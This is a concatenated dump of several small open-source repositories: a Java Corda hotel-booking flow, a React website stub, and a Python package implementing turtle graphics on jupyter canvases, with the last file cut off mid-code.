com.template.contracts.BookingContract.ID; // ****************** // * Initiator flow * // ****************** @InitiatingFlow @StartableByRPC public class BookingInitiatorFlow extends FlowLogic<SignedTransaction> { private final String customerName; private final int customerAge; private final Instant checkInDate; private final Instant checkOutDate; private final String roomType; private final int roomRate; private final double bookingAmount; private final Party lemonTree; //private final ProgressTracker progressTracker = new ProgressTracker(); private final ProgressTracker.Step GENERATING_TRANSACTION = new ProgressTracker.Step("Generating transaction based on IOU"); private final ProgressTracker.Step VERIFYING_TRANSACTION = new ProgressTracker.Step("Verifying Contract constrain"); private final ProgressTracker.Step SIGNING_TRANSACTION = new ProgressTracker.Step("Signing transaction with Private key"); private final ProgressTracker.Step GATHERING_SIGNATURE = new ProgressTracker.Step("Gathering the counterparty's signature"){ @Override public ProgressTracker childProgressTracker() { return CollectSignaturesFlow.Companion.tracker(); } }; private final ProgressTracker.Step FINALISING_TRANSACTION = new ProgressTracker.Step("Obtaining Notary signature and recording transaction"){ @Override public ProgressTracker childProgressTracker() { return FinalityFlow.Companion.tracker(); } }; private final ProgressTracker progressTracker = new ProgressTracker( GENERATING_TRANSACTION, VERIFYING_TRANSACTION, SIGNING_TRANSACTION, GATHERING_SIGNATURE, FINALISING_TRANSACTION ); public BookingInitiatorFlow(String customerName, int customerAge, Instant checkInDate, Instant checkOutDate, String roomType, int roomRate, double bookingAmount, Party LemonTree) { this.customerName = customerName; this.customerAge = customerAge; this.checkInDate = checkInDate; this.checkOutDate = checkOutDate; this.roomType = roomType; this.roomRate = roomRate; this.bookingAmount = bookingAmount; this.lemonTree = LemonTree; } @Override public ProgressTracker getProgressTracker() { return progressTracker; } @Suspendable @Override public SignedTransaction call() throws FlowException { // Initiator flow logic goes here. //check the correct node is initiating the transaction if (getOurIdentity().getName().getOrganisation().equals("MakeMyTrip")){ System.out.println("Identity verified"); } else { throw new FlowException("Booking request is not initiated by MakeMyTrip"); } //Assign Notary Party notary = getServiceHub().getNetworkMapCache().getNotaryIdentities().get(0); BookingState outputState = new BookingState(customerName, customerAge,checkInDate,checkOutDate,roomType,roomRate,bookingAmount,getOurIdentity(),lemonTree); progressTracker.setCurrentStep(GENERATING_TRANSACTION); TransactionBuilder txbuilder = new TransactionBuilder(notary).addOutputState(outputState,BookingContract.ID).addCommand(new BookingContract.Commands.Booking(),getOurIdentity().getOwningKey()); progressTracker.setCurrentStep(VERIFYING_TRANSACTION); //txbuilder.verify(getServiceHub()); progressTracker.setCurrentStep(SIGNING_TRANSACTION); SignedTransaction ptx = getServiceHub().signInitialTransaction(txbuilder); progressTracker.setCurrentStep(GATHERING_SIGNATURE); FlowSession session = initiateFlow(lemonTree); //SignedTransaction stx = subFlow(new CollectSignaturesFlow(ptx, Collections.singleton(session))); progressTracker.setCurrentStep(FINALISING_TRANSACTION); return subFlow(new FinalityFlow(ptx,session)); } }
75d56a4a6cf7f18ccf24a93d863aea5c324f55c5
[ "Markdown", "Java" ]
2
Markdown
arijitmhptr/Hotel-Booking-Cordapp
220b5e6eade113de75bec00f4ff165cd625371b1
2b3d4a3e57ef4c508eb0cb85ddc477d9edcc7b26
refs/heads/master
<file_sep># CS612-Homework Start the app in the cmd using: yarn start Stop it using: cntrl + c <file_sep>'use strict'; import DynamicImport from 'app/components/DynamicImport'; const WebsiteRoutes = { childRoutes: [ { path: '/', indexRoute: { getComponent(location, cb) { DynamicImport( import(/* webpackChunkName: "home" */'app/content/Home'), cb, 'home' ); } }, }, ], }; export default WebsiteRoutes; <file_sep>'use strict'; import React from 'react'; import { Link } from 'react-router'; const Home = (props) => { return ( <div> <header> <div className="title"><Link to="/">Productivity Application</Link></a></div> <nav> <Link to="/">Home</Link> <Link to="/features">Features</Link> <Link to="/gallery">Gallery</Link> <Link to="/about">About Us</Link> <Link to="/contact">Contact Us</Link> </nav> </header> <div> <h1>HOME PAGE</h1> <p>Welcome to Productivity Application Home Page.</p> </div> </div> ); } export default Home;
b4b226492fbf41f34866c61c5b9c23dfef528e8a
[ "Markdown", "JavaScript" ]
3
Markdown
rd16395p/CS612-Homework
592448190fa4f451b6c033075529a003835e6335
8dc04d0c64baa8a01b86b9186a81405b7b7a41ec
refs/heads/master
<repo_name>1dudecoder/Web-Automation-<file_sep>/youtubedownload.js const puppy = require("puppeteer"); async function main() { let browser = await puppy.launch({ headless: false, defaultViewport: false }); let tabs = await browser.pages(); let tab = tabs[0]; await tab.goto("https://www.youtube.com/watch?v=3pYsfaQeMRs"); let problems = await tab.$$("div#watch7-content link"); for(let i = 0; i < 1; i++) { let url = await tab.evaluate(function(ele) { return ele.getAttribute("href"); },problems[i]); console.log(url); let first = url.substr(0, 12); let last = url.substr(12); let durl = first +"ss"+last; await tab.goto(durl); await tab.click("button#sf_submit"); await tab.waitForSelector(".link.link-download.subname.ga_track_events.download-icon",{visible:true}); await tab.click(".link.link-download.subname.ga_track_events.download-icon"); } } main();<file_sep>/README.md #WebAutomation DOING SOME WEBAUTOMATION USING PUPPETTER JAVASCRIPT MODULE 👿 1. github Automations. 🔥 2. hacker rank Automations. 🔥 2. youtube video downloader Automations. 🔥
f024398a7ec4cdd4a76746d537fb22e5cf6a8dff
[ "JavaScript", "Markdown" ]
2
JavaScript
1dudecoder/Web-Automation-
13b2c173efe263d61628bffd0aa6fa57817324b6
41da5161cb816fe1301bbf9dc83ecf147a0501cb
refs/heads/master
<repo_name>rodrigobuzatto/liniochallenge<file_sep>/src/VerifyMultiple.php <?php namespace Linio; interface VerifyMultiple { public function isMultiple(); }<file_sep>/src/Multiples3and5.php <?php namespace Linio; class Multiples3and5 extends Multiples { private $multiples3; private $multiples5; public function __construct(Multiples3 $multiples3, Multiples5 $multiples5) { $this->multiples3 = $multiples3; $this->multiples5 = $multiples5; } public function isMultiple() { return $this->multiples3->isMultiple() && $this->multiples5->isMultiple(); } public function output() { return 'Linianos'; } }<file_sep>/src/Multiples5.php <?php namespace Linio; class Multiples5 extends Multiples { public function __construct($number = null) { parent::__construct($number); } public function isMultiple() { return $this->number % 5 === 0; } public function output() { return 'IT'; } }<file_sep>/tests/Multiples3Test.php <?php namespace Linio\Tests; use Linio\Multiples3; use PHPUnit\Framework\TestCase; class Multiples3Test extends TestCase { private $multiples3; private $number; public function setUp() { $this->multiples3 = new Multiples3(); parent::setUp(); } public function testIfIsNotMultiples3() { $this->multiples3->setNumber(4); $this->assertEquals(false, $this->multiples3->isMultiple(), '4 is not multiple of 3'); } public function testIfIsMultiples3() { $this->multiples3->setNumber(3); $this->assertEquals(true, $this->multiples3->isMultiple(), '3 is multiple of 3'); $this->multiples3->setNumber(15); $this->assertEquals(true, $this->multiples3->isMultiple(), '15 is multiple of 3'); $this->multiples3->setNumber(33); $this->assertEquals(true, $this->multiples3->isMultiple(), '33 is multiple of 3'); } public function testOutputIfIsNotMultiples3() { $output = $this->number = 4; $this->multiples3->setNumber($this->number); $this->multiples3->outputMultiples($output); $this->assertNotEquals('Linio', $output); } public function testOutputIfIsMultiple3() { $output = $this->number = 3; $this->multiples3->setNumber($this->number); $this->multiples3->outputMultiples($output); $this->assertEquals('Linio', $output); } }<file_sep>/src/Multiples3.php <?php namespace Linio; class Multiples3 extends Multiples { public function __construct($number = null) { parent::__construct($number); } public function isMultiple() { return $this->number % 3 === 0; } public function output() { return 'Linio'; } }<file_sep>/README.md # Linio Challenge Install dependencies ``` composer install ``` Run tests ``` vendor/bin/phpunit ``` Run application ``` php index.php ```<file_sep>/tests/Multiples3and5Test.php <?php namespace Linio\Tests; use Linio\Multiples3; use Linio\Multiples5; use Linio\Multiples3and5; use PHPUnit\Framework\TestCase; class Multiples3and5Test extends TestCase { private $multiples3; private $multiples5; private $multiples3and5; public function setUp() { $this->multiples3 = new Multiples3(); $this->multiples5 = new Multiples5(); $this->multiples3and5 = new Multiples3and5($this->multiples3, $this->multiples5); parent::setUp(); } public function testIfIsNotMultiple3and5() { $this->number = 5; $this->multiples3->setNumber($this->number); $this->multiples5->setNumber($this->number); $this->assertEquals(false, $this->multiples3and5->isMultiple(), '5 is not multiple of 3 and 5'); } public function testIfIsMultiple3and5() { $this->number = 15; $this->multiples3->setNumber($this->number); $this->multiples5->setNumber($this->number); $this->assertEquals(true, $this->multiples3and5->isMultiple(), '15 is multiple of 3 and 5'); $this->number = 30; $this->multiples3->setNumber($this->number); $this->multiples5->setNumber($this->number); $this->assertEquals(true, $this->multiples3and5->isMultiple(), '30 is multiple of 3 and 5'); } public function testOutputIfIsNotMultiple3and5() { $output = $this->number = 3; $this->multiples3->setNumber($this->number); $this->multiples5->setNumber($this->number); $this->multiples3and5->outputMultiples($output); $this->assertNotEquals('Linianos', $output); } public function testOutputIfIsMultiples3and5() { $output = $this->number = 15; $this->multiples3->setNumber($this->number); $this->multiples5->setNumber($this->number); $this->multiples3and5->outputMultiples($output); $this->assertEquals('Linianos', $output); } }<file_sep>/src/PrintMultiple.php <?php namespace Linio; interface PrintMultiple { public function output(); }<file_sep>/index.php <?php require_once 'vendor/autoload.php'; $multiples3 = new \Linio\Multiples3(); $multiples5 = new \Linio\Multiples5(); $multiples3and5 = new \Linio\Multiples3and5($multiples3, $multiples5); for($number = 1; $number <= 100; $number++) { $output = $number; $multiples3->setNumber($number)->outputMultiples($output); $multiples5->setNumber($number)->outputMultiples($output); $multiples3and5->setNumber($number)->outputMultiples($output); print $output . PHP_EOL; }<file_sep>/src/Multiples.php <?php namespace Linio; class Multiples implements VerifyMultiple, PrintMultiple { protected $number; public function isMultiple(){} public function output(){} public function __construct(int $number = null) { $this->number = $number; } public function setNumber($number) { $this->number = $number; return $this; } public function outputMultiples(&$output) { if($this->isMultiple()) { $output = $this->output(); } return $this; } }<file_sep>/tests/Multiples5Test.php <?php namespace Linio\Tests; use Linio\Multiples5; use PHPUnit\Framework\TestCase; class Multiples5Test extends TestCase { private $multiples5; private $number; public function setUp() { $this->multiples5 = new Multiples5(); parent::setUp(); } public function testIfIsNotMultiples5() { $this->multiples5->setNumber(4); $this->assertEquals(false, $this->multiples5->isMultiple(), '4 is not multiple of 5'); } public function testIfIsMultiples5() { $this->multiples5->setNumber(5); $this->assertEquals(true, $this->multiples5->isMultiple(), '5 is multiple of 5'); $this->multiples5->setNumber(15); $this->assertEquals(true, $this->multiples5->isMultiple(), '15 is multiple of 5'); $this->multiples5->setNumber(30); $this->assertEquals(true, $this->multiples5->isMultiple(), '30 is multiple of 5'); } public function testOutputIfIsNotMultiples5() { $output = $this->number = 3; $this->multiples5->setNumber($this->number); $this->multiples5->outputMultiples($output); $this->assertNotEquals('IT', $output); } public function testOutputIfIsMultiples5() { $output = $this->number = 5; $this->multiples5->setNumber($this->number); $this->multiples5->outputMultiples($output); $this->assertEquals('IT', $output); } }
b06106f4a5173111fb13bcbf66e501b97e659918
[ "Markdown", "PHP" ]
11
PHP
rodrigobuzatto/liniochallenge
898df43a8fb4a4b728160244d96cdad5aff881d4
d1d923e3e7f65e7d56404f203ab69fa2b07f0d58
refs/heads/master
<repo_name>yuyuyzl/dr-vis-api<file_sep>/api/index.ts import drvis from "./drvis"; import echo from "./echo"; export default { ...drvis, ...echo, }<file_sep>/api/drvis.ts import {Op} from "sequelize"; import axios from "axios"; const db = require("../db"); export default { patient: { requestOptions: { api: 'patient', v: '1.0', data: {} }, middleware: async (params) => { if (params.all) { delete params.all; return db.patient.findAll({where: params}); } return db.patient.findOne({where: params}); } }, lab: { requestOptions: { api: 'lab', v: '1.0', data: {} }, middleware: async (params) => { return db.labtest.findAll({where: params, order: ["date"]}); } }, analyze: { requestOptions: { api: 'analyze', v: '1.0', data: {} }, middleware: async (params) => { return (await axios.post("http://api.drvis.yuyuyz.ltd:10406/",params)).data; } }, search: { requestOptions: { api: 'search', v: '1.0', data: {}, }, middleware: async (params) => { return db.patient.findAll({ where: { [Op.and]: params.key.split(" ").map( (keyword) => ({ [Op.or]: [{ name: { [Op.substring]: keyword } }, { ...+keyword ? {pdid: +keyword,} : {} }] })) } }); } } } /* router.get("/p",async ctx=>{ const query=ctx.query; const data=await db.patient.findAll({where:query}); ctx.responseData=data; }); router.get("/p/:id",async ctx=>{ const id=ctx.params.id; const data=await db.patient.findOne({where:{pdid:+id}}); ctx.responseData=data; }); router.get("/lab/:id",async ctx=>{ const id=ctx.params.id; const query=ctx.query; const data=await db.labtest.findAll({where:{pdid:+id,...query},order:["date"]}); ctx.responseData=data; }); router.get("/analyze/:id",async ctx=>{ const id=ctx.params.id; const query=ctx.query; const data=(await db.analysis.findAll({where:{pdid:+id,...query},order:["date"]})); ctx.responseData=data; }); */<file_sep>/db.test.js const db=require("./db"); it('should connect', async function () { await expect(db.sql.authenticate()).resolves.toBeUndefined(); }); it('should find something', async function () { expect(await db.labtest.findOne()).not.toBeNull(); expect(await db.analysis.findOne()).not.toBeNull(); expect(await db.patient.findOne()).not.toBeNull(); }); afterAll(()=>{db.sql.close()});<file_sep>/db.js const Sequelize=require('sequelize'); const Model=Sequelize.Model; const conf=require("./config"); class analysis extends Model{} class labtest extends Model{} class patient extends Model{} const sql=new Sequelize(...conf.sequelize); patient.init({ pdid: { type: Sequelize.INTEGER, allowNull: false, unique: true, primaryKey:true }, name:{ type:Sequelize.STRING(45), allowNull:true }, birthDate: { type: Sequelize.DATE, allowNull: true }, age: { type: Sequelize.INTEGER, allowNull: true }, gender: { type: Sequelize.INTEGER, allowNull: true }, death: { type: Sequelize.INTEGER, allowNull: true }, deathDate: { type: Sequelize.DATE, allowNull: true }, deathAge: { type: Sequelize.FLOAT, allowNull: true }, deathReason: { type: Sequelize.INTEGER, allowNull: true }, deathReasonText:{ type:Sequelize.STRING(45), allowNull:true }, height: { type: Sequelize.DECIMAL(20,10), allowNull: true }, weight: { type: Sequelize.DECIMAL(20,10), allowNull: true }, originDisease:{ type:Sequelize.STRING(45), allowNull:true }, diabetes:{ type: Sequelize.INTEGER, allowNull: true }, outcome:{ type: Sequelize.INTEGER, allowNull: true }, duplicate:{ type: Sequelize.INTEGER, allowNull: true }, ...Object.fromEntries([ 'scr', 'heart_failure', 'lung_infect', 'chd', 'mi', 'ci', 'ch', 'amputation', 'urea', 'albumin', 'hgb', 'ca', 'p', 'pth', 'bmi', 'epi', 'sbp', 'dbp', 'death_number' ].map(name => [name, ( { type: Sequelize.DOUBLE, allowNull: true } )])) }, { sequelize: sql, modelName: "patient",freezeTableName:true,timestamps:false }); labtest.init({ pdid: { type: Sequelize.INTEGER, allowNull: false, primaryKey:true }, date: { type: Sequelize.DATE, allowNull: false, primaryKey:true }, ...Object.fromEntries(["wbc", "hgb", "k", "na", "cl", "co2", "glu", "alb", "urea", "cre", "ca", "p", "crp", "sys", "dia", "amount", "weight"].map(name => [name, ( { type: Sequelize.DECIMAL(20, 10), allowNull: true } )])) }, { sequelize: sql, modelName: "labtest",freezeTableName:true,timestamps:false }); analysis.init({ pdid: { type: Sequelize.INTEGER, allowNull: false, primaryKey:true }, date: { type: Sequelize.DATE, allowNull: false, primaryKey:true }, emdAdacare:{ type:Sequelize.JSON, allowNull:true }, emdStagenet:{ type:Sequelize.JSON, allowNull:true }, featureAtt:{ type:Sequelize.JSON, allowNull:true }, temporalAtt:{ type:Sequelize.JSON, allowNull:true }, predAdacare:{ type:Sequelize.DECIMAL(20, 10), allowNull:true }, predStagenet:{ type:Sequelize.DECIMAL(20, 10), allowNull:true }, groundtruth:{ type:Sequelize.DECIMAL(20, 10), allowNull:true }, stage:{ type:Sequelize.DECIMAL(20, 10), allowNull:true }, },{ sequelize: sql, modelName: "analysis",freezeTableName:true,timestamps:false }); module.exports={ sql,analysis,patient,labtest }; <file_sep>/data-manager.ts import Apis from './api/index' interface IApi { requestOptions:any, middleware?:Function, } class DataManager { private readonly dict: Record<string,IApi>; constructor(apis:Record<string,IApi>){ this.dict={...apis}; for (let [key,api] of Object.entries(apis)){ this.dict[api.requestOptions.api+api.requestOptions.v]=api; if(!this.dict[api.requestOptions.api]||(this.dict[api.requestOptions.api].requestOptions.v<api.requestOptions.v)) this.dict[api.requestOptions.api]=api; } } async callApi(api,v, params){ if(!this.dict[api+(v||"")]) throw "API未注册"; try{ return { api:this.dict[api+(v||"")].requestOptions.api, v:this.dict[api+(v||"")].requestOptions.v, data:(await this.dict[api+(v||"")].middleware(params)) }; }catch (e){ throw e; } } } export default new DataManager(Apis); module.exports=new DataManager(Apis);<file_sep>/api/echo.ts export default { echo: { //API定义 requestOptions: { api: 'echo', v: '1.0', data: {} }, //API实现 middleware: async (params) => { return params; } }, }
d6b1ad09d315ef3ddf67e0f0c5524248b3078c4b
[ "JavaScript", "TypeScript" ]
6
TypeScript
yuyuyzl/dr-vis-api
2b1b6f173f389eac0c5acbbbd6fd3aa0bbef46df
c9afb600185b79f46985ad5c9d399ecc55ab3654
refs/heads/master
<repo_name>lingruiluo/jp_turtle<file_sep>/jp_turtle/mock_turtle.py """ Hack the standard Python turtle.py module to use jp_turtle instead by replacing objects like turtle.Turtle with jp_turtle equivalent implementations. This will not work for all functionality yet. Execute >>> mock_turtle() *before* importing any other modules that import turtle """ import turtle import jp_turtle from jp_turtle import screen def undefined_mock_operation(_name): print("Stubbing out", _name) def stub(*args, **kwargs): print (_name, "is not implemented for mock turtle") return stub def mock_turtle(): print("Now replacing standard turtle.py functionality with jp_turtle functionality or stubs.") turtle.Turtle = jp_turtle.Turtle turtle.Pen = jp_turtle.Turtle turtle.Screen = screen.FakeScreen turtle.tracer = undefined_mock_operation("tracer") turtle.colormode = undefined_mock_operation("colormode") <file_sep>/setup.py from setuptools import setup url = "" version = "0.1.0" readme = open('README.md').read() setup( name="jp_turtle", packages=["jp_turtle"], version=version, description="Simple jupyter widget wrappers for turtle implementation", long_description=readme, include_package_data=True, author="<NAME>; <NAME>", author_email="<EMAIL>; <EMAIL>", url=url, install_requires=[ "jp_doodle", "jp_proxy_widget", #"requests", #"matplotlib", #"numpy", #"scipy", "pillow", #"psutil", "imageio", #"sklearn", "jupyter-ui-poll", "pytz", ], license="MIT" ) <file_sep>/jp_turtle/screen.py ''' set up initial screen ''' from jp_doodle import dual_canvas from IPython.display import display # The "usual" screen -- this gets initialized when needed USUAL_SCREEN = None WIDTH = HEIGHT = 400 debugging = True def get_usual_screen(width=WIDTH, height=HEIGHT): global USUAL_SCREEN if USUAL_SCREEN is not None: return USUAL_SCREEN screen = dual_canvas.DualCanvasWidget(width=width, height=height) # use a counter to distinguish turtles screen.turtle_count = 0 # store info about turtles in the javascript element container screen.js_init(""" element.turtle_info = { }; element.get_turtle_info = function(id) { return element.turtle_info[id]; }; """); if not debugging: display(screen) screen.in_dialog() screen.element.dialog(dict(width=width+100, height=height+100)) else: display(screen.debugging_display()) screen.rect(0, 0, WIDTH, HEIGHT, "#eea",name='Screen') screen.fit() USUAL_SCREEN = screen return screen def reset(): global USUAL_SCREEN USUAL_SCREEN = None def bgcolor(screen, color): screen.change(name='Screen',color=color) def screensize(screen, width, height): # screen.change(name='canvas',width=width, height=height) screen.change(name='Screen',w=width, h=height) class FakeScreen: def __repr__(self): return "FakeScreen" def __getattr__(self, attr): print("FakeScreen getattr") def dummy_function(*arguments): return "not a real method, just a fake: " + repr(attr) return dummy_function<file_sep>/jp_turtle/jp_turtle.py """ main parts to implement turtle widget on jupyter notebook """ from jp_doodle import dual_canvas from IPython.display import display import math import time from .screen import * from .shape import * from .helper import * class Turtle: # initial default configurations _color = "black" lineWidth = 1 direction_radians = 0 direction_units = "degrees" position_icon = (0, 0) speed_move = "normal" stamp_id = 0 draw_limit = None draw_count = 0 _drawing = True verbose = False _filling = False _filling_pts = [] _filling_color = 'black' # stolen from turtle.py _shapes = { "arrow" : Shape("polygon", ((-10,0), (10,0), (0,10))), "turtle" : Shape("polygon", ((0,16), (-2,14), (-1,10), (-4,7), (-7,9), (-9,8), (-6,5), (-7,1), (-5,-3), (-8,-6), (-6,-8), (-4,-5), (0,-7), (4,-5), (6,-8), (8,-6), (5,-3), (7,1), (6,5), (9,8), (7,9), (4,7), (1,10), (2,14))), "circle" : Shape("polygon", ((10,0), (9.51,3.09), (8.09,5.88), (5.88,8.09), (3.09,9.51), (0,10), (-3.09,9.51), (-5.88,8.09), (-8.09,5.88), (-9.51,3.09), (-10,0), (-9.51,-3.09), (-8.09,-5.88), (-5.88,-8.09), (-3.09,-9.51), (-0.00,-10.00), (3.09,-9.51), (5.88,-8.09), (8.09,-5.88), (9.51,-3.09))), "square" : Shape("polygon", ((10,-10), (10,10), (-10,10), (-10,-10))), "triangle" : Shape("polygon", ((10,-5.77), (0,11.55), (-10,-5.77))), "classic": Shape("polygon", ((0,0),(-5,-9),(0,-7),(5,-9))), #"blank" : Shape("image", self._blankimage()) } primary_js = """ // Store information about this turtle separately from other turtles. debugger; var info = { }; info._lines = []; info._dots = []; info._stamps = []; info.frame = element.frame_region( 10, 10, WIDTH-10, HEIGHT-10, -WIDTH/2, -HEIGHT/2, WIDTH/2, HEIGHT/2, ); info.initialize_frame = function () { info.icon = info.frame.polygon({ points:icon_points, color:color, name:true }); info.frame_rect = info.frame.rect({ x:-WIDTH/2-10, y:-HEIGHT/2-10, w:WIDTH, h:HEIGHT, color:"rgb(0,0,0,0)", name:true, }); } info.initialize_frame(); info.delayed_execution = function(action, delay) { if (delay > 0) { setTimeout(action, delay); } else { action(); } } element.turtle_info[turtle_id] = info; """ def __init__(self, *args, **kwargs): # args and kwargs are ignored for compatibility with turtle.py screen = self.screen = get_usual_screen() screen.turtle_count += 1 self.turtle_id = screen.turtle_count self.icon_points = [(-10,-10), (-10, 10), (17, 0)] self.all_js = ( self.primary_js + self.icon_visible_js + self.icon_color_change_js + self.left_js + self.forward_js + self.clear_js + self.dot_js + self.icon_size_js + self.stamp_js + self.reset_js + self.fill_js ) screen.js_init( self.all_js, turtle_id=self.turtle_id, WIDTH=WIDTH, HEIGHT=HEIGHT, color=self._color, icon_points=self.icon_points, ) self.js_info = screen.element.get_turtle_info(self.turtle_id) self.js_info.frame_rect.on("click",self.click_event) self.stampsItem = dict() self.stampsId = [] self.icon_current_points = self.icon_points self.next_execution_time = time.time() #print("initially executing at", self.next_execution_time) last_fit = 0 fit_limit = 1000 def draw_limit_exceeded(self): self.draw_count += 1 if self.draw_count == self.draw_limit: print ("\n DRAW LIMIT REACHED\n") raise ValueError("Draw limit") if (self.fit_limit is not None) and ((self.draw_count - self.last_fit) > self.fit_limit): self.last_fit = self.draw_count self.screen.element.fit() return (self.draw_limit is not None) and (self.draw_count > self.draw_limit) flushes = None def getscreen(self): "stubbed functionality for compatibility with standard Turtle module" # delay to allow javascript to catch up self.flushes = self.flushes or [] self.flushes.append(self.draw_count) from jp_doodle.auto_capture import javascript_eval print ("FLUSH AND SYNC", self.draw_count) self.screen.flush() self.screen.element.request_redraw() self.screen.auto_flush = True two = javascript_eval(self.screen, "1+1") assert two == 2 self.screen.auto_flush = False return FakeScreen() def screen_color(self, color): bgcolor(self.screen, color) def click_event(self, event): location = event["model_location"] def action(*ignored): self.goto(location['x'], location['y']) self.execute_when_ready(action) def up(self): self._drawing = False def down(self): self._drawing = True def heading(self): return self.direction_radians * 180 / math.pi def setheading(self, degrees): """ 0 - east 90 - north 180 - west 270 - south """ self.log("setheading", degrees) degrees_change = degrees - (self.direction_radians * 180 / math.pi) self.left(degrees_change) def home(self): self.goto((0,0)) self.setheading(0) def goto(self, x, y = None): self.log("goto", x, y) if self.draw_limit_exceeded(): return (x1, y1) = self.position_icon (x2, y2) = (x1, y1) if y is None: try: (x2, y2) = x except TypeError: print("argument should be a tuple of coordinate or give x and y values") raise else: (x2, y2) = (x, y) radians = math.atan2(y2-y1,x2-x1) angle = self.direction_radians = radians size_points = [icon_size(x,y,self.lineWidth) for (x,y) in self.icon_points] points = [rotate_translate(x,y,angle,x2,y2) for (x,y) in size_points] delay = self.delay_seconds() self.icon_current_points = points self.position_icon = (x2, y2) self.defer_later_executions(delay) if self._filling: pt = list((round(x2,2),round(y2,2))) if pt not in self._filling_pts: self._filling_pts.append(pt) self.js_info.forward(points, x1, y1, x2, y2, self._color, self.lineWidth, self._drawing,delay, self.action_delay()) def distance(self, x, y=None): self.log("distance", x, y) if self.draw_limit_exceeded(): return (x1, y1) = self.position_icon (x2, y2) = (x1, y1) if y is None: try: (x2, y2) = x except TypeError: print("argument should be a tuple of coordinate or give x and y values") raise else: (x2, y2) = (x, y) return round(math.sqrt((x2 - x1)**2 + (y2 - y1)**2),2) def shape(self, name): self.log("shape", name) choice = self._shapes[name] choice.install(self) forward_js = """ info.forward = function(points, x1, y1, x2, y2, color, lineWidth, drawing, delay, interval) { var action = function() { //element.fit(); info.icon.transition({ points:points, cx:x2, cy:y2 }, delay); if (drawing) { var line = info.frame.line({ x1:x1, y1:y1, // One end point of the line x2:x1, y2:y1, // The other end point of the line color:color, // Optional color (default: "black") lineWidth:lineWidth, // Optional line width name:true, }); line.transition({x2:x2, y2:y2}, delay) info._lines.push(line) } }; info.delayed_execution(action, interval); }; """ def forward(self, distance): self.log("forward", distance) if self.draw_limit_exceeded(): return # silently do nothing angle = self.direction_radians (x1, y1) = self.position_icon x2 = x1 + math.cos(angle) * distance y2 = y1 + math.sin(angle) * distance size_points = [icon_size(x,y,self.lineWidth) for (x,y) in self.icon_points] points = [rotate_translate(x,y,angle,x2,y2) for (x,y) in size_points] delay = self.delay_seconds() self.icon_current_points = points self.position_icon = (x2, y2) self.defer_later_executions(delay) interval = self.action_delay() if self._filling: pt = list((round(x2,2),round(y2,2))) if pt not in self._filling_pts: self._filling_pts.append(pt) self.js_info.forward(points, x1, y1, x2, y2, self._color, self.lineWidth, self._drawing, delay, interval) def backward(self, distance): self.forward(-distance) left_js = """ info.left = function(points, delay, interval) { var action = function() { info.icon.transition({ points:points }, delay); }; info.delayed_execution(action, interval); }; """ def left(self, degrees): self.log("left", degrees) if self.draw_limit_exceeded(): return # silently do nothing radians = degrees * math.pi / 180.0 (x2, y2) = self.position_icon angle = self.direction_radians = self.direction_radians + radians size_points = [icon_size(x,y,self.lineWidth) for (x,y) in self.icon_points] points = [rotate_translate(x,y,angle,x2,y2) for (x,y) in size_points] delay = self.delay_seconds() self.icon_current_points = points self.defer_later_executions(delay) interval = self.action_delay() self.js_info.left(points, delay, interval) def right(self, degrees): self.left(-degrees) stamp_js = """ info.stamp = function(points, color, delay, id, interval) { var action = function() { var stamp = info.frame.polygon({ points:points, color:color, name:true, }); info._stamps.push(stamp); }; info.delayed_execution(action, interval); }; info.clear_stamp = function(id, delay, interval) { var action = function() { info._stamps[id-1].forget(); info._stamps.remove(id-1); }; info.delayed_execution(action, interval); }; info.clear_stamps = function(delay, interval){ var action = function(){ for (i = 0; i < info._stamps.length; i++) { info._stamps[i].forget(); }; info._stamps = []; }; info.delayed_execution(action, interval); }; """ def stamp(self): if self.draw_limit_exceeded(): return # silently do nothing self.stamp_id += 1 self.stampsId.append(self.stamp_id) delay = self.delay_seconds() self.defer_later_executions(delay) interval = self.action_delay() self.js_info.stamp(self.icon_current_points, self._color, delay, self.stamp_id, interval) def clearstamp(self, stampid = None): if self.draw_limit_exceeded(): return # silently do nothing if stampid is None: stampid = self.stamp_id delay = self.delay_seconds() self.stampsId.remove(stampid) self.defer_later_executions(delay) interval = self.action_delay() self.js_info.clear_stamp(stampid, delay, interval) def clearstamps(self, n = None): delay = self.delay_seconds() if n is None: self.stampsId = [] self.defer_later_executions(delay) interval = self.action_delay() self.js_info.clear_stamps(delay, interval) return elif abs(n) > len(self.stampsId): print("There are only ",len(self.stampsId), " stamps") return "There are only "+str(len(self.stampsId))+" stamps" elif n >= 0: names = self.stampsId[:n] print("removed stamps ", names) else: names = self.stampsId[n:] print("removed stamps ", names) for i in names: self.clearstamp(stampid=i) clear_js = """ info.clear = function(interval) { var action = function() { for (i = 0; i < info._lines.length; i++) { info._lines[i].forget(); }; info._lines = []; for (i = 0; i < info._dots.length; i++) { info._dots[i].forget(); }; info._dots = []; }; info.delayed_execution(action, interval); } """ def clear(self): delay = self.delay_seconds() self.defer_later_executions(delay) interval = self.action_delay() self.js_info.clear(interval) dot_js = """ info.dot = function(x, y, r, color, delay) { var action = function() { //element.fit(); var circle = info.frame.circle({ x:x, y:y, r:r, color:color, fill:true, name: true }); info._dots.push(circle); }; info.delayed_execution(action, delay); }; info.clear_dot = function(interval) { var action = function() { for (i = 0; i < info._dots.length; i++) { info._dots[i].forget(); }; info._dots = []; }; info.delayed_execution(action, interval); }; """ def dot(self,size=None,color=None): if self.draw_limit_exceeded(): return (x1, y1) = self.position_icon if size is None: size = 5 if color is None: color = self._color delay = self.delay_seconds() self.defer_later_executions(delay) self.js_info.dot(x1,y1,size,color, self.action_delay()) def clear_dot(self): delay = self.delay_seconds() self.defer_later_executions(delay) interval = self.action_delay() self.js_info.clear_dot(interval) icon_color_change_js = """ info.icon_color_change = function(value, delay) { var action = function() { info.icon.change({ color: value }); }; info.delayed_execution(action, delay); }; """ def color(self, color_name, fill_color=None, third_argument=None): if fill_color is not None: print ("fill color not yet supported") if third_argument is not None: print ("r,g,b numeric color not yet supported") return self._color = color_name delay = self.delay_seconds() self.defer_later_executions(delay) self.js_info.icon_color_change(color_name, self.action_delay()) def speed(self, val): speeds = {'fastest':0.1, 'fast':0.5, 'normal':1.0, 'slow':1.5, 'slowest':2.0 } self.speed_move = val if isinstance(val, str): if val in speeds: self.speed_move = speeds[val] else: print("Please enter the correct speed value") raise ValueError def position(self): return self.position_icon icon_visible_js = """ info.icon_visible = function(value, delay) { var action = function() { info.icon.visible(value); } info.delayed_execution(action, delay); }; """ icon_is_visible = True def hideturtle(self): self.icon_is_visible = False self.js_info.icon_visible(False, self.action_delay()) def showturtle(self): self.icon_is_visible = True self.js_info.icon_visible(True, self.action_delay()) icon_size_js = """ info.icon_pensize = function(points, delay, interval) { var 